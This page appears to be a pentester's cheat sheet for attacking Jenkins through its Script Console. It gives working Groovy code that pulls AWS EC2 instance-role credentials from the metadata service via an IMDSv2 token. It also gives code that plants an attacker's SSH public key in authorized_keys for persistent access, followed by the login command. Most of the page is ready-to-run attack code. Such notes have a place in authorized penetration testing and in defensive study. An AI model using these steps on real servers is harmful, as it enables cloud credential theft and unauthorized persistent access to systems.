# Jenkins

## Obtain EC2 Credentials from IMDSv2 with Script Console

* If Jenkins is running on an AWS EC2 instance that has an underlying Instance Profile, it's possible to obtain the credentials by interacting with the IMDS service 
* If IMDSv1 is used, we can achieve the same by querying IMDS without the `$TOKEN`

{% code overflow="wrap" %}

```groovy
// Step 1: Retrieve the IMDSv2 token
def tokenCommand = '''
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
'''
def tokenProcess = ["bash", "-c", tokenCommand].execute()
def token = tokenProcess.text.trim()

// Step 2: Use the token to fetch IAM role credentials
def metadataCommand = '''
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<instance-role>
'''.replace('$TOKEN', token) // Inject the token into the command
def metadataProcess = ["bash", "-c", metadataCommand].execute()
def metadataOutput = metadataProcess.text.trim()

// Output the IAM Role credentials
println metadataOutput
```

{% endcode %}

***

## SSH Persistence with Script Console

* We can upload our public SSH key to the Jenkins server, allowing us SSH access (provided SSH is enabled)
* See [ssh](/coding-and-cli-tooling/cli-tools/ssh.md#create-an-ssh-key) for guidance if needed

{% code overflow="wrap" %}

```groovy
// create authorized_keys file if it doesn't exist
def command = "mkdir ~/.ssh && touch ~/.ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command]. execute()
process.waitFor ()

// Check for success
if(process.exitValue() == 0) {
	println "Command executed successfully. Output:"
	// Reading the standard output
	process.in.eachLine { line ->
		println line
	}
}
```

{% endcode %}

{% code overflow="wrap" %}

```groovy
// upload public ssh key (cat ~/.ssh/mykey.pub)
def command = "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAC....' >> ~/.ssh/authorized_keys"
def shell = "/bin/bash" // or /bin/sh, depending on your system
def process = ["$shell", "-c", command]. execute()
process.waitFor ()

// Check for success
if(process.exitValue() == 0) {
	println "Command executed successfully. Output:"
	// Reading the standard output
	process.in.eachLine { line ->
		println line
	}
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# ssh into jenkins server
ssh -o "IdentitiesOnly=yes" -i mykey user@host
```

{% endcode %}

<figure><img src="/files/L0dKxclRbuUNBQNzUsPq" alt=""><figcaption><p>Jenkins Script Console - Viewing results of adding public key to jenkins server</p></figcaption></figure>


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